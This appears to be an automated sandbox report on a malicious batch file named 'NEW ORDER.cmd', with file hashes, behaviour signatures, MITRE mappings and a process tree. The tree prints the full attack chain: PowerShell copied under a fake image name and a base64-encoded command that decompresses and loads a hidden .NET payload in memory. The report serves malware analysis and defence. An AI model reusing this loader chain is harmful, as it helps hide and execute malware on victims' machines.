c2e13d86844d1f1f27b92e84714e2841cb41df2809b4515b5e4bf13856a50613

General

Target

NEW ORDER.cmd
Size

1.7MB
MD5

546a223f6646e33809e9b2ef29df5c46
SHA1

a754082ee814e7dc4d33e16f68972e4cd969f4a2
SHA256

473a0251276e0b7260698c7a9cc879c935dc35f138b5243faa5721830dd79299
SHA512

d75b0a2a5bddb1d8be2091987f57df4c8b3e381761cd9701adbcc561a51b2be7ce165f55788a54e5c21b2c3e041db265965f72211be1e65ec4a6863592391749
SSDEEP

24576:NNn9wdn6DtyQBpICuGreBd8qohFj3DlF5mVoUBAKDHlhuQYTEddFqwuaA/BliTUM:T2td0esLhF5GHlwQN6wJWKExlq

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2696	Ysrph.png

Loads dropped DLL 1 IoCs

pid	Process
2756	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2696	Ysrph.png

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2696	Ysrph.png

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2736 wrote to memory of 2756	2736	cmd.exe	31
PID 2736 wrote to memory of 2756	2736	cmd.exe	31
PID 2736 wrote to memory of 2756	2736	cmd.exe	31
PID 2756 wrote to memory of 1104	2756	cmd.exe	32
PID 2756 wrote to memory of 1104	2756	cmd.exe	32
PID 2756 wrote to memory of 1104	2756	cmd.exe	32
PID 2756 wrote to memory of 2900	2756	cmd.exe	33
PID 2756 wrote to memory of 2900	2756	cmd.exe	33
PID 2756 wrote to memory of 2900	2756	cmd.exe	33
PID 2756 wrote to memory of 2724	2756	cmd.exe	34
PID 2756 wrote to memory of 2724	2756	cmd.exe	34
PID 2756 wrote to memory of 2724	2756	cmd.exe	34
PID 2756 wrote to memory of 3004	2756	cmd.exe	35
PID 2756 wrote to memory of 3004	2756	cmd.exe	35
PID 2756 wrote to memory of 3004	2756	cmd.exe	35
PID 2756 wrote to memory of 2696	2756	cmd.exe	36
PID 2756 wrote to memory of 2696	2756	cmd.exe	36
PID 2756 wrote to memory of 2696	2756	cmd.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\NEW ORDER.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\NEW ORDER.cmd"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:1104
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Ysrph.png
    3⤵
    PID:2900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2724
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\NEW ORDER.cmd" C:\Users\Admin\AppData\Local\Temp\Ysrph.png.bat
    3⤵
    PID:3004
- - C:\Users\Admin\AppData\Local\Temp\Ysrph.png
    C:\Users\Admin\AppData\Local\Temp\Ysrph.png -win 1 -enc JABVAGMAbwBmAHoAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQARQBlAGMAaQBoAGgAaAB2AGQAaQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABVAGMAbwBmAHoAKQA7ACQAVwBmAGQAdwB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABFAGUAYwBpAGgAaABoAHYAZABpACAAKQA7ACQAbwB1AHQAcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAEIAaAB0AHYAegBtAHEAdAB1AGkAZAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABXAGYAZAB3AHkALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAEIAaAB0AHYAegBtAHEAdAB1AGkAZAAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAQgBoAHQAdgB6AG0AcQB0AHUAaQBkAC4AQwBsAG8AcwBlACgAKQA7ACQAVwBmAGQAdwB5AC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQARQBlAGMAaQBoAGgAaAB2AGQAaQAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABFAGUAYwBpAGgAaABoAHYAZABpACkAOwAgACQAVAB5AHYAcABxAGwAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABFAGUAYwBpAGgAaABoAHYAZABpACkAOwAgACQAUgBjAGMAegBtAHUAaAB5AGQAdQAgAD0AIAAkAFQAeQB2AHAAcQBsAHMALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABQAGgAbgBwAGQAaQBjACAAPQAgACQAUgBjAGMAegBtAHUAaAB5AGQAdQAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Ysrph.png

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\Ysrph.png

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2696-9-0x000000001B240000-0x000000001B522000-memory.dmp

Filesize
2.9MB

Download
memory/2696-10-0x0000000001C80000-0x0000000001C88000-memory.dmp

Filesize
32KB

Download
memory/2696-11-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/2696-12-0x0000000001C00000-0x0000000001C80000-memory.dmp

Filesize
512KB

Download
memory/2696-13-0x0000000001C00000-0x0000000001C80000-memory.dmp

Filesize
512KB

Download
memory/2696-14-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/2696-15-0x0000000001C00000-0x0000000001C80000-memory.dmp

Filesize
512KB

Download
memory/2696-16-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing